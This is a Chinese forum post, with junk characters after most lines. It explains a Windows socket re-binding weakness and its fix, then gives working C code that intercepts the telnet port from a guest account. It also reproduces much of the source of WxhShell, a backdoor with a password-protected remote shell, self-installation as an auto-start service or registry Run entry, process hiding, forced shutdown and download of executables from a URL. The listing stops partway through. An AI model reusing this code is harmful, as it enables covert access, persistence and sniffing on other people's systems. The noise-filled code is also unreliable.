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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2w x[D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3Y1TQ;i,wQ  
c<+g|@A#  
  saddr.sin_family = AF_INET; zfP[1  
4uO @`0:x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PtRj9TT  
M5T=Fj86  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Lem\UD$D`  
(:&&;]sI  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X|-v0 f  
|i} +t  
  这意味着什么?意味着可以进行如下的攻击:  \]f5  
mJGO)u&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >%n8W>^^4  
-~( 0O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gfdPx:7^  
7E!";HT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [Q7->Wo|S:  
k lP{yxU'n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xI`Uk8-8  
|iwM9oO%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %S >xSqX  
_ bXVg3oDt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,yHzo  
pjX%LsX\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u n?j  
&# vk4C_8m  
  #include DJ1XN pm  
  #include b[{m>Fa+o#  
  #include DqurHQ z)m  
  #include    Ad}-I%Ie  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .^[fG59  
  int main() @b ::6n/u  
  { OQytgXED  
  WORD wVersionRequested; Edf=?K+\!i  
  DWORD ret; fB;&n  
  WSADATA wsaData; wc6 E- rB  
  BOOL val; IKMs Y5i  
  SOCKADDR_IN saddr; 36kc4=  
  SOCKADDR_IN scaddr; R\9>2*w  
  int err; dT0^-XSY  
  SOCKET s; vWqyZ-p,q  
  SOCKET sc; aWHd}%  
  int caddsize; 2p$n*|T&c  
  HANDLE mt; p~Yy"Ec;p  
  DWORD tid;   v{mv*`~nA\  
  wVersionRequested = MAKEWORD( 2, 2 ); Hl^aUp.c  
  err = WSAStartup( wVersionRequested, &wsaData ); P|unUW(P  
  if ( err != 0 ) { "xe7Dl  
  printf("error!WSAStartup failed!\n"); Dh\S`nfFq  
  return -1; S\! a"0$  
  } dxzvPgi?  
  saddr.sin_family = AF_INET; 26\HV  
    /gqqKUx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  ESC  
ql{^"8x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =R8f)UQYx  
  saddr.sin_port = htons(23); 8FO1`%8Oe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W;3 R;  
  { 1?D8|<  
  printf("error!socket failed!\n"); " jl1.Ah  
  return -1; Z-4K?;g'k  
  } X;s 3y{ku  
  val = TRUE; )^jQkfL  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \b_-mnN"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) im_w+h%^  
  { a^RZsR  
  printf("error!setsockopt failed!\n"); U=haX x4N  
  return -1; 92P ,:2`a  
  } 3n.+_jQ>s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; th.M.jas  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i;[h 9=\/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R7E]*:0}  
XsAY4WTS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f0-RhR  
  { &q ," !:L]  
  ret=GetLastError(); >QYh}Z- /%  
  printf("error!bind failed!\n"); ;el]LnV!O  
  return -1; 5S&aI{;9<  
  } q Axf5  
  listen(s,2); .K $p`WQ{  
  while(1) uHfhRc9  
  { +}Kk2Kg8  
  caddsize = sizeof(scaddr); a6;gBoV  
  //接受连接请求 4u3 \xR?w6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +G5'kYzJ  
  if(sc!=INVALID_SOCKET) 4ggVj*{v  
  { RtW4 n:c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ox(*  
  if(mt==NULL) 2. StG(Y!  
  { WafdE  
  printf("Thread Creat Failed!\n"); H "Q(2I  
  break; 3mpP| b"  
  } jG+T.  
  } R19'| TJ  
  CloseHandle(mt); <h'8w  
  } ,DE(5iDS  
  closesocket(s); Tx y]"_  
  WSACleanup(); I x( 6  
  return 0; ,$HHaoo g  
  }   ,3G$`  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zr\2BOcc.l  
  { fdd~e52f  
  SOCKET ss = (SOCKET)lpParam; NY~ dM\  
  SOCKET sc; w0#% AK  
  unsigned char buf[4096]; LTg?5GwD\j  
  SOCKADDR_IN saddr; \ua9thOG  
  long num; *Zc9yZl2  
  DWORD val; Rb{+Ki  
  DWORD ret; 5/Ydv RB67  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4qqF v?O[r  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x2sN\tOh^  
  saddr.sin_family = AF_INET; s ;48v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2;&mkc K'  
  saddr.sin_port = htons(23); ?2H{^\<(e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \U==f &G?J  
  { =ft9T&ciD  
  printf("error!socket failed!\n"); \V._Z>]  
  return -1; R|/Wz/$1A  
  } #uQrJh1o8  
  val = 100; l>A\ V)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jIKBgsiF/  
  { cYsR0#  
  ret = GetLastError(); !?yxh/>lM  
  return -1; ^%-NPo<  
  } G=vN;e_$_b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x2Ha&   
  { aZ8h[#]7  
  ret = GetLastError(); FL59  
  return -1; RwUW;hU  
  } Vz%"9`r  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wh9L(0  
  { >r~0SMQr  
  printf("error!socket connect failed!\n"); #X4LLS]VV  
  closesocket(sc); a a4$'8s  
  closesocket(ss); LOe4c0C6Ca  
  return -1; ,xYg  
  } 55LgBD  
  while(1) @=CLeQG`  
  { $Xf~# uH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &q.)2o#Q.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O ,l\e 3;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x]H3Y3  
  num = recv(ss,buf,4096,0); ^GN5vT+:'  
  if(num>0) O2C6V>Q;  
  send(sc,buf,num,0); ]OUD5T  
  else if(num==0) $H4=QVj6  
  break; r~I.F!{  
  num = recv(sc,buf,4096,0); RvWFF^,.  
  if(num>0) n:F@gZd`  
  send(ss,buf,num,0); VIetcs  
  else if(num==0) p#)e:/Qy  
  break; tzZ|S<e6=\  
  } 6!@0VI&P  
  closesocket(ss); Bhj:9%`  
  closesocket(sc);  /; +oz  
  return 0 ; 5Lw{0uLr  
  } 0"hiCGm'  
Ec+22X  
?.8<-  
========================================================== :#qUMiu$  
r|M'TA~:  
下边附上一个代码,,WXhSHELL 'HCnB]1  
^<!Ia  
========================================================== #&k8TY  
ehU"*9  
#include "stdafx.h" ; /=L  
Q< dba12  
#include <stdio.h> *JwFD^<j  
#include <string.h> *}7U`Aa  
#include <windows.h> 4yhcK&  
#include <winsock2.h> O(odNQy~  
#include <winsvc.h> :sFo  
#include <urlmon.h> &ryiG  
0"4J"q]&  
#pragma comment (lib, "Ws2_32.lib") 5H~@^!7t  
#pragma comment (lib, "urlmon.lib") Dp^95V@  
|%-YuD  
#define MAX_USER   100 // 最大客户端连接数 Rb?~ Rs\  
#define BUF_SOCK   200 // sock buffer li@k Lh  
#define KEY_BUFF   255 // 输入 buffer t~q?lT  
)TM!ms+K  
#define REBOOT     0   // 重启 M' YJ"  
#define SHUTDOWN   1   // 关机 I`3d;l;d  
kw3 +>{\  
#define DEF_PORT   5000 // 监听端口 aJa.U^1{  
Trpgx  
#define REG_LEN     16   // 注册表键长度 xwi!:PAf,o  
#define SVC_LEN     80   // NT服务名长度 ,|A{!j`  
 $<:'!#%  
// 从dll定义API vpi l$Uq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (VEp~BW@-R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;e2Ij  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (,shiK[5f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _;#9!"&  
2av*o~|J*:  
// wxhshell配置信息 Zct!/u9 Q  
struct WSCFG { I-TlrW=t  
  int ws_port;         // 监听端口 <vL}l:r  
  char ws_passstr[REG_LEN]; // 口令 f*v1J<1#  
  int ws_autoins;       // 安装标记, 1=yes 0=no {|Bd?U;  
  char ws_regname[REG_LEN]; // 注册表键名 2HSb.&7-G  
  char ws_svcname[REG_LEN]; // 服务名 l`* ( f9Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Q$!c{Y r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2!BsEvB(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6oYIQ'hc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no pG~'shD~Dn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .ByU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @\!ww/QT  
(xbIUz.  
}; :4U0I:J#  
2?*||c==*  
// default Wxhshell configuration X'jr|s^s  
struct WSCFG wscfg={DEF_PORT, {-J:4*`  
    "xuhuanlingzhe", 3hLqAj  
    1, 72u db^  
    "Wxhshell", v:?o3 S  
    "Wxhshell", 9Eu #lV  
            "WxhShell Service", /-><k,mL?  
    "Wrsky Windows CmdShell Service", {79qtq%W{  
    "Please Input Your Password: ", Rh[Ibm56  
  1, ">cqt>2 A  
  "http://www.wrsky.com/wxhshell.exe", V\"1wV~E  
  "Wxhshell.exe" .8:+MW/  
    }; )Y~xIj >  
an.`dBm  
// 消息定义模块 oCbpK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y)tYSTJK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I.-v?1>,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UTvs |[  
char *msg_ws_ext="\n\rExit."; !D7"=G}HD  
char *msg_ws_end="\n\rQuit."; BD4`eiu"  
char *msg_ws_boot="\n\rReboot..."; #%4=)M>^  
char *msg_ws_poff="\n\rShutdown..."; Hk~k@Wft  
char *msg_ws_down="\n\rSave to "; aTG[=)x L  
VcrVaBw  
char *msg_ws_err="\n\rErr!"; ?|lIXz  
char *msg_ws_ok="\n\rOK!"; 6Etss!_  
lJUy;yp_+  
char ExeFile[MAX_PATH]; \1]rlzXGUT  
int nUser = 0; &u=8r*  
HANDLE handles[MAX_USER]; BW>5?0E[4(  
int OsIsNt; SD^E7W$?  
"9%q bM B  
SERVICE_STATUS       serviceStatus; z,avQR&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /,LfA2^_j{  
o(zTNk5d  
// 函数声明 =!<^^6LZ  
int Install(void); .$P|^Zx,  
int Uninstall(void); b[yE~EQxr  
int DownloadFile(char *sURL, SOCKET wsh); `\ R{5TU  
int Boot(int flag); KxX[ S.C  
void HideProc(void); !VFem~'d  
int GetOsVer(void); ^EuW( "  
int Wxhshell(SOCKET wsl); d+Ds9(gV  
void TalkWithClient(void *cs); R3Ee%0QK  
int CmdShell(SOCKET sock); Fe5jdV<  
int StartFromService(void); \q,s?`+B  
int StartWxhshell(LPSTR lpCmdLine); @0D![oA  
TW2Z=ks=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 05"qi6tncz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g}m+f] |  
VyY.r#@  
// 数据结构和表定义 +YuzpuxjJ  
SERVICE_TABLE_ENTRY DispatchTable[] = Q-(Dk?z{  
{ DFc [z"[  
{wscfg.ws_svcname, NTServiceMain}, F3Dt7q  
{NULL, NULL} 2kVp_=c  
}; A4 5m)wQ  
Mc:b U  
// 自我安装 3p&jLFphL  
int Install(void) ||XIWKF<n2  
{ nEyI t&> 9  
  char svExeFile[MAX_PATH]; SY|Ez!tU:N  
  HKEY key; a*s\Em7f  
  strcpy(svExeFile,ExeFile); 4\HsU9x  
z&>|*C.Y  
// 如果是win9x系统,修改注册表设为自启动 UGCox-W"  
if(!OsIsNt) { p1~*;;F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6g~+( ({lQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r@yD8D \  
  RegCloseKey(key); ami09JHy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dkw*Je#6PX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RG&6FRoq  
  RegCloseKey(key); 1 }nm2h1 I  
  return 0; Oy%Im8.-A#  
    } pC^2Rzf  
  } 'W(xgOP1  
} l]) Q.m  
else { n/AW?'  
vK:QX$b  
// 如果是NT以上系统,安装为系统服务 T .hb#oO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7*;^UqGjz  
if (schSCManager!=0) ,Bf(r  
{ Ka.Nr@Rq*~  
  SC_HANDLE schService = CreateService -X8eabb  
  ( l&Q!mU}  
  schSCManager, wV:C<Mg7q  
  wscfg.ws_svcname, jtCZfFD?  
  wscfg.ws_svcdisp, )88nMH-  
  SERVICE_ALL_ACCESS, vhpvO >Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )!sa)\E?  
  SERVICE_AUTO_START, e#khl9j*bt  
  SERVICE_ERROR_NORMAL, $rB6<  
  svExeFile, Y"*:&E2)r  
  NULL, puF%=i  
  NULL, Z2bUs!0  
  NULL, R8 jovr  
  NULL, |xeE3,8  
  NULL #w*"qn#2Uz  
  ); 4.'JLArw  
  if (schService!=0) GS4_jvD-  
  { mW +tV1XjG  
  CloseServiceHandle(schService); .8(%4ejJ(  
  CloseServiceHandle(schSCManager); r.<JDdj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uouq>N  
  strcat(svExeFile,wscfg.ws_svcname); wS%zWdsz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8gI\zgS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5(#-)rlGj  
  RegCloseKey(key); VMF|iB  
  return 0; t%$@fjz  
    } o\goE^,aeR  
  } 8(Fu  
  CloseServiceHandle(schSCManager); 6v>z h  
} \iga Q\~  
} oCuV9dA.  
`pm>'  
return 1; ;RHNRVP  
} :1MM a6  
hDvpOIUL1  
// 自我卸载 GO~k '  
int Uninstall(void) gl "_:atW  
{ y 1nU{Sc@  
  HKEY key; #KE;=$(S  
y<*-tZV[  
if(!OsIsNt) { %Rarr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l"5y?jT  
  RegDeleteValue(key,wscfg.ws_regname); o_rtH|ntX5  
  RegCloseKey(key); 6pm~sD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j|(:I:]  
  RegDeleteValue(key,wscfg.ws_regname); 9^\hmpP@D  
  RegCloseKey(key); N"1 QX6  
  return 0; W_}/O'l{  
  } '\t7jQ  
} O] ZC+]}/  
} ]nc2/S%  
else { ._,trb>o  
KTv4< c]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s#P:6]Ar  
if (schSCManager!=0) u E.^w;~2=  
{ _Wma\(3$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kFLT!k  
  if (schService!=0) k{-`]qiK  
  { " @)lH  
  if(DeleteService(schService)!=0) { ? d5h9}B  
  CloseServiceHandle(schService); 3+9 U1:1[.  
  CloseServiceHandle(schSCManager); R@n5AN(  
  return 0; rJV?) =Z  
  } lD3)TAW@o  
  CloseServiceHandle(schService); _z]v<,=3M  
  } 2kJ!E@n7  
  CloseServiceHandle(schSCManager); u>o<tw%Y  
} zt?H~0$LB  
} #HG&[Ywi  
W>$BF[x!{  
return 1; [pR)@$"k'  
} QiU_hz6?v  
r0Z+ RB^I  
// 从指定url下载文件 *B{-uc3o  
int DownloadFile(char *sURL, SOCKET wsh) uP6-cs  
{ TPK@*9rI  
  HRESULT hr; SUu >6'LN  
char seps[]= "/"; >a@>N  
char *token; +?V0:Kz]  
char *file; jsZY{s=  
char myURL[MAX_PATH]; pl\b-  
char myFILE[MAX_PATH]; 4>k I^  
-[$&s FD  
strcpy(myURL,sURL); JY@X2'>v/  
  token=strtok(myURL,seps); g@u;Y5  
  while(token!=NULL) )&z4_l8`=  
  { Pi){h~B>  
    file=token; <jFSj=cIL  
  token=strtok(NULL,seps); k* Pz&8|  
  } @h(!<Ux_  
c'rd$  
GetCurrentDirectory(MAX_PATH,myFILE); ~6sE an3p  
strcat(myFILE, "\\"); 7E(%9W6P  
strcat(myFILE, file); 4>_d3_1sn  
  send(wsh,myFILE,strlen(myFILE),0); Qi:j)uDW  
send(wsh,"...",3,0); ~p^7X2% !  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q c3?}os2  
  if(hr==S_OK) )E~_rDTl  
return 0; 3agNBF2  
else : I)Gv  
return 1; !.X _/$c  
@'gl~J7  
} :t5uDKZ_j)  
w+Vk3c5uI)  
// 系统电源模块 EzpwGNfz}  
int Boot(int flag) !qaDn.9  
{ 6RP+4c  
  HANDLE hToken; n1?}Xq|  
  TOKEN_PRIVILEGES tkp; }P. K2ku  
ph#efY`a:  
  if(OsIsNt) { nuxd S ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I%i:)6Un-y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j6og3.H-  
    tkp.PrivilegeCount = 1; PY -+Bf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A8!Ed$@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k9&@(G[K3  
if(flag==REBOOT) { )UP8#|$#T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MHl^/e@  
  return 0; eE9|F/-L  
} N5KEa]k1nw  
else { -5xCQJ[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xD0NZ~w%  
  return 0; H/`G  
} a[i>;0  
  } Xl?YB Z}  
  else { Y-]YDXrPQ  
if(flag==REBOOT) { e`AUYli"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) doH2R @  
  return 0; !&JiNn('  
} ^9'$Oa,*  
else { avBua6i'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ! ]\2A.b[  
  return 0; :A#+=O0\z  
} gY%&IHQ'  
} +;6)  
!EM#m@kZ{  
return 1; `*d{PJTv  
} K%PxA #P}  
G h=<0WaF=  
// win9x进程隐藏模块 ?} X}#  
void HideProc(void) kXEtuO5FUM  
{ Of#K:`1@  
HT&p{7kFm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $l#{_~ "m7  
  if ( hKernel != NULL ) '%ebcL  
  { Efvq?cG&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~?-qZ<9/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ctK65h{Eo  
    FreeLibrary(hKernel); )2]a8JVf  
  } obYn&\6  
KK$ a;/  
return; [ t$AavU.  
} 4(8<w cL  
FW5}oD( H  
// 获取操作系统版本 /W0E(8:C)  
int GetOsVer(void) =%L@WVbM  
{ 9#fp_G;=  
  OSVERSIONINFO winfo; [,GU5,o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?$16 A+  
  GetVersionEx(&winfo); `[bJYZBc2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (Z 8,e  
  return 1; u>m'FECXj  
  else >fg4x+0%  
  return 0; tO`?{?W7  
} i7(~>6@|  
,S0UY):(A  
// 客户端句柄模块 Vq U|kv  
int Wxhshell(SOCKET wsl) *.3y2m,bZ  
{ ;.AV;C"  
  SOCKET wsh; wsI5F&R,  
  struct sockaddr_in client; S?2YJ l8B  
  DWORD myID; Uh%6LPg^  
]'e A O  
  while(nUser<MAX_USER) M=6G:HHY  
{ sNf +lga0  
  int nSize=sizeof(client); N|$5/bV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 R  
  if(wsh==INVALID_SOCKET) return 1; aH  
kJ__:rS(T_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hm6pxFkX_  
if(handles[nUser]==0) 'mUI-1GkT  
  closesocket(wsh); 4@mso+tk  
else j6}$+!E  
  nUser++; ~M; gM]r;  
  } s{B_N/^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wxc^_iqA1  
h&P {p _Y  
  return 0;  Zsgi{  
} #?Wo <]i  
1EuK, :x  
// 关闭 socket "5h_8k~sQ  
void CloseIt(SOCKET wsh) @ce3%`c_  
{ CZ2iJy  
closesocket(wsh); 2n(ItA  
nUser--; El+Ft.7  
ExitThread(0); 99EX8  
} :cb[M5c  
-aT=f9u  
// 客户端请求句柄 3r`<(%\  
void TalkWithClient(void *cs) {>A 8g({i  
{ SKW;MVC  
{<r`5  
  SOCKET wsh=(SOCKET)cs; G_0)oC@Jl:  
  char pwd[SVC_LEN]; `;e^2  
  char cmd[KEY_BUFF]; Q8 4t9b  
char chr[1]; ;!:F#gahv  
int i,j; )6g&v'dq  
x~nQm]@`h  
  while (nUser < MAX_USER) { 6}"lm]b  
`[&v  
if(wscfg.ws_passstr) { (<n>EF#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =<TO"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #]igB9Cf)w  
  //ZeroMemory(pwd,KEY_BUFF); &jFKc0\i@  
      i=0; p[b7E`7  
  while(i<SVC_LEN) { L/5z!  
%~G0[fG  
  // 设置超时 &%}bRPUl  
  fd_set FdRead; wCC-Y kA  
  struct timeval TimeOut; 7Y)s#FJ  
  FD_ZERO(&FdRead); y6\ [1nZ  
  FD_SET(wsh,&FdRead); {aT92-D3  
  TimeOut.tv_sec=8; FJW`$5?  
  TimeOut.tv_usec=0; -h=c=P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?f9$OLEB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s 8Jj6V  
y6bjJ}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ty.drM  
  pwd=chr[0]; }\U0[x#q  
  if(chr[0]==0xd || chr[0]==0xa) { uO6c3|Zjs  
  pwd=0; pL%4= ]m  
  break; }0vtc[!  
  } wqf&i^_  
  i++; tG_-;03<`4  
    } FRc  |D  
y. T ct.  
  // 如果是非法用户,关闭 socket > e;]mU`,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UUD\bWfn  
} "\}21B~{7'  
]gEu.Nth`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ipfm'aQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  KzIt  
UQSX<6"  
while(1) { $,g 3*A  
BSjbnnW}"  
  ZeroMemory(cmd,KEY_BUFF); .\)--+(  
B{^`8Htrn  
      // 自动支持客户端 telnet标准   F>TYVxQ  
  j=0; $+iu\MuX  
  while(j<KEY_BUFF) { 7L1\1E:!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gW/QFZjY  
  cmd[j]=chr[0]; a pKa4nI  
  if(chr[0]==0xa || chr[0]==0xd) { g<0w/n!jmC  
  cmd[j]=0; Ja^7$WY  
  break; 8xc8L1;  
  } Hxj'38Y  
  j++; O\3r%=TF  
    } LR hP7D+A  
}rFThI  
  // 下载文件 (R,NV3m?w  
  if(strstr(cmd,"http://")) { A>H*`{}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $>nkGb%Kp  
  if(DownloadFile(cmd,wsh)) 4S^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "9TxK6  
  else U.d'a~pH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UUZ6N ZQI  
  } S$ Ns8=  
  else { 9@kc K  
C#ZmgR  
    switch(cmd[0]) { Jii?r*"d  
  -WQ_[t9l  
  // 帮助 uPM8GIvZX.  
  case '?': { W dei`u[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iH($rSE  
    break; ~+7ad$   
  } +#^sy>  
  // 安装 |^ 2rtI  
  case 'i': { Y'3k E  
    if(Install()) 0G~%UYB-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h9,wiT  
    else bM*Pcxv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AM1/\R  
    break; }G"r3*  
    } Q>cL?ie  
  // 卸载 #nxER   
  case 'r': { U` ? zC~  
    if(Uninstall()) o'9OPoof:.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /h{go]&Nb  
    else rTN"SQt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B:.;,@r]  
    break; ]C9%]`  
    } <K|3Q'(S  
  // 显示 wxhshell 所在路径 ex0 kb  
  case 'p': { PR48~K,?  
    char svExeFile[MAX_PATH]; CnM+HN30o  
    strcpy(svExeFile,"\n\r"); n0Qh9*h  
      strcat(svExeFile,ExeFile); # |[`1  
        send(wsh,svExeFile,strlen(svExeFile),0); H>gWxJ 5  
    break; O('i*o4!}  
    } d=Rk\F'^J  
  // 重启 vE^h}~5U  
  case 'b': { vHZX9LQU0+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rfkzv=<"X  
    if(Boot(REBOOT)) PPuXas?i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z226yNlS  
    else { Ek gZxT_&  
    closesocket(wsh); Pu/-Qpqh  
    ExitThread(0); J)#5 9a  
    } :)^# xE(  
    break; +ZD[[+  
    } 9Bbm7Gd  
  // 关机 +MOe{:/6  
  case 'd': { CuV=C Ay>  
